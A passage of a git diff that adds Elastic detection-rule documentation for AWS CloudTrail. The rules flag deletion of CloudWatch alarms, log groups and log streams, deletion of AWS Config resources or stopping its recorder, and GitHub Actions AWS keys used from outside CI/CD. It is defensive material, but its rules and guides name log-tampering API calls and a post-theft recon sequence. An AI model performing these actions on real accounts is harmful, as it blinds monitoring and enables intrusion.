relevant teams and exclude authorized administrative accounts as necessary. + + +*Response and remediation* + + +- **Containment** + - If the deletion was unauthorized, recreate the deleted alarms immediately using IaC templates or CloudFormation backups. + - Re-enable any dependent automation or alerts that rely on those alarms. + - Temporarily restrict CloudWatch modification privileges to designated IAM roles. + +- **Investigation** + - Review related CloudTrail logs for preceding IAM changes, STS activity, or anomalous role assumptions that might indicate compromised credentials. + - Investigate whether any alerts were suppressed or delayed prior to the deletion. + +- **Recovery and hardening** + - Implement AWS Config rules to continuously monitor alarm existence and alert on `DeleteAlarms` API calls. + - Restrict permissions to `cloudwatch:DeleteAlarms` and enforce MFA for users performing monitoring configuration changes. + - Maintain IaC definitions for all critical alarms to support rapid restoration. + - Audit IAM roles and automation accounts that manage CloudWatch configurations to ensure least privilege. + - Integrate alarm configuration checks into your CI/CD validation workflows. + + +*Additional information* + + +- **https://docs.aws.amazon.com/config/latest/developerguide/cloudwatch-alarm-action-check.html[AWS Config Rule – cloudwatch-alarm-action-check]** +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "monitoring.amazonaws.com" + and event.action: "DeleteAlarms" + and event.outcome: "success" + and source.ip: * + and not user_agent.original : "AWS Internal" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Indicator Blocking +** ID: T1562.006 +** Reference URL: https://attack.mitre.org/techniques/T1562/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudwatch-log-group-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudwatch-log-group-deletion.asciidoc new file mode 100644 index 0000000000..8e5ce199d8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudwatch-log-group-deletion.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-21-aws-cloudwatch-log-group-deletion]] +=== AWS CloudWatch Log Group Deletion + +Detects the deletion of an Amazon CloudWatch Log Group using the "DeleteLogGroup" API. CloudWatch log groups store operational and security logs for AWS services and custom applications. Deleting a log group permanently removes all associated log streams and historical log data, which can eliminate forensic evidence and disrupt security monitoring pipelines. Adversaries may delete log groups to conceal malicious activity, disable log forwarding, or impede incident response. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/logs/delete-log-group.html +* https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_DeleteLogGroup.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: Amazon CloudWatch +* Use Case: Log Auditing +* Resources: Investigation Guide +* Tactic: Defense Evasion +* Tactic: Impact + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudWatch Log Group Deletion* + + +CloudWatch Logs is foundational to AWS observability, SIEM ingestion, audit pipelines, and incident response. +Log groups often contain retention-critical logs such as: + +- VPC Flow Logs +- Lambda function logs +- Application and container logs +- Security service logs (e.g., AWS WAF, RDS logs) + +Deletion of a log group removes all historical log streams and cannot be reversed. +Adversaries may leverage `DeleteLogGroup` to impair forensic visibility, disrupt monitoring, and hide evidence following malicious actions. This rule detects a successful `DeleteLogGroup` event initiated from a non–AWS Internal user agent, signalling potential defense evasion or disruption of logging pipelines. + + +*Possible investigation steps* + + + **Identify the actor** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`. +- Determine whether this identity normally modifies CloudWatch Logs or is associated with automation. + +**Review deletion details** +- Inspect `aws.cloudtrail.request_parameters` to determine the exact log group deleted. +- Assess whether the log group provided visibility into: + - CloudTrail processing, + - Network flows (VPC Flow Logs), + - Serverless/application security logs, + - Lambda, ECS, EKS, or container workload logs. + +**Check source and context** +- Assess `source.ip` for unusual IPs, geolocations, VPN endpoints, or cloud provider ranges unfamiliar to your environment. +- Review `user_agent.original` for unexpected tools (custom agents, unusual SDKs, attackers using CLI default agents). + +**Correlate with surrounding activity** +Look for preceding or subsequent CloudTrail events such as: + +- `StopLogging`, `DeleteTrail`, or CloudTrail configuration changes +- IAM permission escalations (e.g., `PutUserPolicy`, `AttachRolePolicy`) +- Security service suppression actions (e.g., GuardDuty detector deletion) +- Lambda or application configuration updates that may indicate a compromise + +If the deleted log group was associated with a Lambda execution role, review for suspicious code updates or rogue deployments. + +**Assess business or security impact** +- Identify whether the deleted log group fed: + - SIEM ingestion + - Security analytics pipelines + - Compliance/audit logs + - Operational monitoring or alerting +- Contact the service owner or development team to verify whether the deletion was intentional. + +**Determine compromise scope if malicious** +- Use CloudTrail to identify prior activity by the same user identity or IP. +- Examine authentication events (IAM, STS) for signs of stolen credentials or session hijacking. +- Identify resources or applications dependent on the deleted logging pipeline. + + +*False positive analysis* + + +- **IaC-managed environments**: Tools like Terraform or CloudFormation may delete and recreate log groups during deployments. +- **Automated cleanup jobs**: Some environments use automated retention cleanup workflows. +- **Ephemeral testing accounts**: Development/testing accounts frequently create and destroy log groups. + +To tune noise: +- Add exceptions for specific automation IAM roles or trusted source IPs. +- Require `user_agent.original` and `source.ip` conditions for baseline-based tuning. + + +*Response and remediation* + + +**Containment** +- Immediately recreate the deleted log group (if appropriate) using IaC or CloudWatch Console. +- Restrict the IAM identity that performed the deletion until the activity is validated. +- Enable or confirm CloudTrail logging in all regions to maintain broader visibility. + +**Investigation** +- Review CloudTrail activity for: + - privilege escalation attempts, + - IAM role modifications, + - security service tampering (CloudTrail, Config, GuardDuty). +- Correlate with alerts from other services (GuardDuty, Security Hub, SIEM detections). + +**Recovery and hardening** +- Enforce least privilege on `logs:DeleteLogGroup`. +- Configure AWS Config rules to alert on missing or modified log groups. +- Implement log group retention policies and IAM SCP guardrails to prevent unauthorized deletion. +- Document log group ownership and expected lifecycle management. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "logs.amazonaws.com" + and event.action: "DeleteLogGroup" + and event.outcome: "success" + and source.ip: * + and not user_agent.original : "AWS Internal" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudwatch-log-stream-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudwatch-log-stream-deletion.asciidoc new file mode 100644 index 0000000000..c09e70f2a5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-cloudwatch-log-stream-deletion.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-21-aws-cloudwatch-log-stream-deletion]] +=== AWS CloudWatch Log Stream Deletion + +Detects the deletion of an Amazon CloudWatch log stream using the "DeleteLogStream" API. Deleting a log stream permanently removes its associated log events and may disrupt security visibility, break audit trails, or suppress forensic evidence. Adversaries may delete log streams to conceal malicious actions, impair monitoring pipelines, or remove artifacts generated during post-exploitation activity. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/logs/delete-log-stream.html +* https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_DeleteLogStream.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: Amazon CloudWatch +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudWatch Log Stream Deletion* + + +CloudWatch log streams contain sequential log events from a single application, service, or AWS resource. +Deleting a log stream permanently removes its archived log events, which may disable monitoring workflows, eliminate +critical telemetry, or disrupt forensic visibility. + +Adversaries may delete log streams to cover their tracks after unauthorized actions, break ingestion pipelines feeding SIEM, alerting, or anomaly detection or to remove evidence before escalating privileges or moving laterally. This rule detects successful invocations of the `DeleteLogStream` API from CloudTrail. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`. + - Confirm whether the user or role normally manages CloudWatch Logs resources. + +- **Review request details** + - Inspect `aws.cloudtrail.request_parameters` to determine which log stream and parent log group were deleted. + - Assess the importance of the deleted stream: + - Was it used for VPC Flow Logs, CloudTrail, Lambda functions, ECS tasks, or application logs? + - Did it contain logs used for security detection or compliance auditing? + +- **Examine request origin and context** + - Review `source.ip` and `user_agent.original` for anomalies (e.g., unfamiliar CLI tools, suspicious automation, + unknown IP ranges, or external geolocations). + - Validate whether the request originated from a legitimate automation host or jump box. + - Check activity around the same timestamp for related operations such as: + - `DeleteLogGroup` + - `StopLogging`, `UpdateTrail`, or `DeleteTrail` + - GuardDuty detector or CloudWatch alarm deletions + - IAM policy or role modifications + +- **Determine operational justification** + - Consult change management systems or deployment pipelines to confirm whether the deletion was planned. + - Contact application owners or platform teams to determine whether the log stream was part of normal rotation or cleanup. + +- **Investigate broader compromise indicators** + - Look for suspicious activity by the same identity in the past 24–48 hours, such as: + - Failed authentication attempts + - IAM privilege escalations + - Unusual STS AssumeRole usage + - Access from new geolocations + + +*False positive analysis* + + +- **Log rotation and automation** + - Some systems delete log streams automatically when rolling new deployments or recycling compute resources. + - CI/CD pipelines managing immutable infrastructure may delete and recreate streams during each deploy. + +- **Test and development accounts** + - Dev/test environments may frequently create and delete log streams as part of iterative work. + +- **Bulk cleanup operations** + - Platform engineering teams may delete obsolete log streams during cost-optimization or log-retention management. + +If the rule triggers frequently from known infrastructure accounts or automation hosts, consider adding narrow exceptions using a combination of IAM role, IP range, or user agent. + + +*Response and remediation* + + +- **Containment** + - If the deletion is unauthorized, review other CloudWatch resources for additional tampering (alarms, log groups, metric filters). + - Temporarily restrict permissions for the implicated IAM user or role. + +- **Investigation** + - Reconstruct any missing telemetry from alternative sources (e.g., S3 buckets, application logs, third-party logging systems). + - Review CloudTrail and Config timelines for preceding suspicious events. + - Validate whether the deleted log stream contained evidence of prior compromise. + +- **Recovery and hardening** + - Implement IAM least-privilege for `logs:DeleteLogStream`. + - Enable AWS Config rules to monitor CloudWatch Logs configuration changes. + - Ensure that business-critical log groups enforce minimum retention periods and prevent accidental deletion. + - Integrate log stream lifecycle management into CI/CD to avoid manual deletions. + - Establish guardrails using Service Control Policies (SCPs) to block log deletions outside designated automation roles. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "logs.amazonaws.com" + and event.action: "DeleteLogStream" + and event.outcome: "success" + and source.ip: * + and not user_agent.original : "AWS Internal" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-config-resource-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-config-resource-deletion.asciidoc new file mode 100644 index 0000000000..4dcd39d1a7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-config-resource-deletion.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-21-aws-config-resource-deletion]] +=== AWS Config Resource Deletion + +Identifies attempts to delete AWS Config resources. AWS Config provides continuous visibility into resource configuration changes and compliance posture across an account. Deleting Config components can significantly reduce security visibility and auditability. Adversaries may delete or disable Config resources to evade detection, hide prior activity, or weaken governance controls before or after other malicious actions. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/config/latest/developerguide/how-does-config-work.html +* https://docs.aws.amazon.com/config/latest/APIReference/API_Operations.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Config +* Resources: Investigation Guide +* Tactic: Defense Evasion + +*Version*: 214 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Config Resource Deletion* + + +AWS Config records configuration changes, relationships, and compliance status for AWS resources over time. +Deleting Config components such as recorders, delivery channels, rules, or conformance packs disrupts +security monitoring, compliance enforcement, and forensic visibility. This behavior is uncommon outside of +planned infrastructure changes and should be treated as high-risk when unexpected. This rule detects successful deletion of AWS Config resources. + + +*Possible investigation steps* + + +**Identify the actor** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who initiated the deletion. +- Confirm whether this principal typically manages AWS Config or centralized security tooling. +- Check `user_agent.original` to determine whether the action was performed via console, CLI, SDK, or automation. + +**Determine what was deleted** +- Inspect `event.action` and `aws.cloudtrail.request_parameters` to identify which Config component was removed + (e.g., configuration recorder, delivery channel, rule, aggregator, or conformance pack). +- Assess whether the deleted resource was account-scoped or organization-wide. Used for compliance reporting, guardrails, or security monitoring. +- Identify the affected regions and accounts using `cloud.region` and `cloud.account.id`. + +**Reconstruct timing and intent** +- Use `@timestamp` to correlate the deletion with: + - IAM changes (role updates, policy modifications, STS activity). + - Other monitoring disruptions (CloudTrail, GuardDuty, Security Hub). + - Destructive or high-impact actions occurring shortly before or after. +- Compare the timing against approved maintenance windows or infrastructure changes. + +**Correlate with broader activity** +- Pivot in CloudTrail on the same principal or access key to identify: + - Additional attempts to disable logging or security controls. + - Resource deletions or configuration weakening across services. +- Evaluate whether the deletion appears isolated or part of a broader evasion sequence. + +**Validate intent with stakeholders** +- Confirm with security, cloud platform, or compliance teams whether the deletion was planned and approved. +- Verify whether replacement Config resources were created shortly after, or whether monitoring remains disabled. + + +*False positive analysis* + + +- **Planned environment changes** + - Non-production account teardown, environment consolidation, or compliance tool migrations may involve + deletion of Config resources. + +- **Authorized security automation** + - Approved automation or security tooling may delete and recreate Config components during setup or remediation. + - Tune exceptions carefully using specific principals or automation roles rather than broad exclusions. + + +*Response and remediation* + + +- **Contain and restore visibility** + - If unauthorized, immediately re-enable AWS Config components, including recorders and delivery channels. + - Validate that historical configuration data and compliance reporting resume as expected. + +- **Investigate scope and impact** + - Determine how long Config visibility was impaired and what activity may have occurred during that window. + - Review other monitoring gaps (e.g., CloudTrail or GuardDuty changes) for coordinated evasion. + +- **Credential and access review** + - Rotate or disable credentials associated with the deleting principal if compromise is suspected. + - Review IAM permissions to ensure only a minimal, well-defined set of roles can manage AWS Config. + +- **Hardening and prevention** + - Use SCPs or IAM conditions to restrict deletion of Config resources in production and security accounts. + - Implement AWS Config rules or Security Hub controls to alert when Config is disabled or degraded. + - Document and formalize change procedures for governance tooling. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: config.amazonaws.com + and event.outcome: success + and event.action: (DeleteConfigRule or DeleteOrganizationConfigRule or DeleteConfigurationAggregator or + DeleteConfigurationRecorder or DeleteConformancePack or DeleteOrganizationConformancePack or + DeleteDeliveryChannel or DeleteRemediationConfiguration or DeleteRetentionConfiguration) + and not aws.cloudtrail.user_identity.invoked_by: (securityhub.amazonaws.com or fms.amazonaws.com or controltower.amazonaws.com or config-conforms.amazonaws.com) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-configuration-recorder-stopped.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-configuration-recorder-stopped.asciidoc new file mode 100644 index 0000000000..e2b5246f72 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-configuration-recorder-stopped.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-21-aws-configuration-recorder-stopped]] +=== AWS Configuration Recorder Stopped + +Identifies when an AWS Config configuration recorder is stopped. AWS Config recorders continuously track and record configuration changes across supported AWS resources. Stopping the recorder immediately reduces visibility into infrastructure changes and can be abused by adversaries to evade detection, obscure follow-on activity, or weaken compliance and security monitoring controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/configservice/stop-configuration-recorder.html +* https://docs.aws.amazon.com/config/latest/APIReference/API_StopConfigurationRecorder.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Config +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Configuration Recorder Stopped* + + +AWS Config provides continuous visibility into resource configuration changes and underpins many security, compliance, +and audit workflows. Stopping the configuration recorder prevents new changes from being captured and can create blind +spots in detection and forensic timelines. + +This behavior is uncommon in steady-state production environments and should be carefully reviewed, especially when +performed outside approved maintenance windows or by unexpected principals. + + +*Possible investigation steps* + + +**Identify the actor** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` + to determine who initiated the `StopConfigurationRecorder` action. Confirm whether this principal typically administers AWS Config or performs security and compliance operations. + +**Examine the request context** +- Review `user_agent.original` to determine whether the request originated from the AWS Console, CLI, SDK, or automation tooling. +- Inspect `source.ip` and any available geo context to assess whether the request originated from an expected network or region. + +**Determine scope and impact** +- Identify which configuration recorder was stopped and which regions or resources were affected. +- Determine how long the recorder remained disabled and whether any configuration changes occurred during that window. +- Assess whether AWS Config rules, Security Hub controls, or downstream monitoring systems were impacted. + +**Correlate with related activity** +- Look for surrounding CloudTrail activity from the same principal, including: + - Deletion or modification of Config rules, delivery channels, or conformance packs. + - IAM changes, credential activity, or other security control modifications. +- Check for signs of follow-on activity that may have relied on reduced visibility, such as resource creation, policy changes, + or network reconfiguration. + +**Validate intent** +- Confirm with the platform, security, or compliance teams whether the recorder stoppage was intentional and approved. +- Compare the timing against change management records, infrastructure deployments, or account bootstrapping workflows. + + +*False positive analysis* + + +- Planned maintenance or controlled configuration changes may require temporarily stopping the recorder. +- Automated account provisioning, teardown, or remediation tooling may stop and restart the recorder as part of normal workflows. + + +*Response and remediation* + + +- Immediately restart the AWS Config recorder to restore configuration visibility. +- Review CloudTrail logs for activity that occurred while the recorder was stopped and assess potential security or compliance impact. +- If the action was unauthorized, rotate or disable credentials associated with the initiating principal and investigate for compromise. +- Review IAM permissions to ensure only a minimal set of trusted roles can stop or modify AWS Config components. +- Implement guardrails such as AWS Config rules, SCPs, or automated remediation to detect and respond to recorder stoppage. +- Update monitoring, alerting, and incident response runbooks to explicitly cover AWS Config visibility loss scenarios. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: config.amazonaws.com + and event.action: StopConfigurationRecorder + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-credentials-used-from-github-actions-and-non-ci-cd-infrastructure.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-credentials-used-from-github-actions-and-non-ci-cd-infrastructure.asciidoc new file mode 100644 index 0000000000..da5f9b1ad4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-credentials-used-from-github-actions-and-non-ci-cd-infrastructure.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-21-aws-credentials-used-from-github-actions-and-non-ci-cd-infrastructure]] +=== AWS Credentials Used from GitHub Actions and Non-CI/CD Infrastructure + +Detects AWS access keys that are used from both GitHub Actions CI/CD infrastructure and non-CI/CD infrastructure. This pattern indicates potential credential theft where an attacker who has stolen AWS credentials configured as GitHub Actions secrets and is using them from their own infrastructure. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1h + +*Searches indices from*: now-7d ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS IAM +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Credentials Used from GitHub Actions and Non-CI/CD Infrastructure* + + +This rule detects when an AWS access key appears in CloudTrail from both GitHub Actions runners +(identified by Microsoft ASN or the `github-actions` user agent string) and from infrastructure +outside the expected CI/CD provider ASNs. This is a strong indicator that AWS credentials stored +as GitHub repository or organization secrets have been exfiltrated and are being used by an +attacker from their own infrastructure. + + +*Possible investigation steps* + + +- Identify which GitHub repository owns the credential by cross-referencing the access key ID with + your GitHub Actions workflow configurations and AWS IAM user/role assignments. +- Review the suspicious source IPs and ASNs — residential ISPs, VPN providers, or budget hosting + providers are high-confidence indicators of credential theft. +- Check the actions performed from the suspicious source — `sts:GetCallerIdentity` followed by + enumeration calls (`ListBuckets`, `DescribeInstances`, `ListUsers`) is a common attacker recon + pattern after credential theft. +- Review the user agent strings from the suspicious source — `aws-cli` or `boto3` from a non-runner + IP confirms manual/scripted usage outside CI/CD. +- Check GitHub audit logs for recent workflow changes, new collaborators, or secret access events + that could indicate how the credential was stolen. +- Determine if the credential is a long-lived IAM user key or a temporary STS session — temporary + credentials from `AssumeRoleWithWebIdentity` (OIDC) are less likely to be exfiltrated but still + possible. + + +*Response and remediation* + + +- Immediately rotate the compromised AWS access key in IAM and update the GitHub repository/org secret. +- Review and revoke any resources created or modified by the suspicious source IP using CloudTrail + event history filtered by the access key ID. +- Audit the GitHub repository for signs of compromise — check for unauthorized workflow modifications, + new secrets, or suspicious pull requests that could have exfiltrated the credential. +- Implement OIDC-based authentication (`aws-actions/configure-aws-credentials` with `role-to-assume`) + instead of long-lived access keys to eliminate the credential theft vector entirely. +- If using OIDC, add IP condition policies to the IAM role trust policy to restrict + `AssumeRoleWithWebIdentity` to known GitHub runner IP ranges. +- Enable GitHub's secret scanning and push protection to detect accidental credential exposure in + code or logs. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws.cloudtrail-* metadata _id, _version, _index + +| WHERE event.dataset == "aws.cloudtrail" + AND aws.cloudtrail.user_identity.access_key_id IS NOT NULL + AND @timestamp >= NOW() - 7 days + AND source.as.organization.name IS NOT NULL + +// AWS API key used from github actions +| EVAL is_aws_github = user_agent.original LIKE "*aws-credentials-for-github-actions" + +// non CI/CD related ASN +| EVAL is_not_cicd_infra = not source.as.organization.name IN ("Microsoft Corporation", "Amazon.com, Inc.", "Amazon Technologies Inc.", "Google LLC") + +| STATS Esql.is_github_aws_key = MAX(CASE(is_aws_github, 1, 0)), + Esql.has_suspicious_asn = MAX(CASE(is_not_cicd_infra, 1, 0)), + Esql.last_seen_suspicious_asn = MAX(CASE(is_not_cicd_infra, @timestamp, NULL)), + Esql.source_ip_values = VALUES(source.address), + Esql.source_asn_values = VALUES(source.as.organization.name) BY aws.cloudtrail.user_identity.access_key_id, user.name, cloud.account.id + +// AWS API key tied to a GH action used from unusual ASN (non CI/CD infra) +| WHERE Esql.is_github_aws_key == 1 AND Esql.has_suspicious_asn == 1 + + // avoid alert duplicates within 1h interval + AND 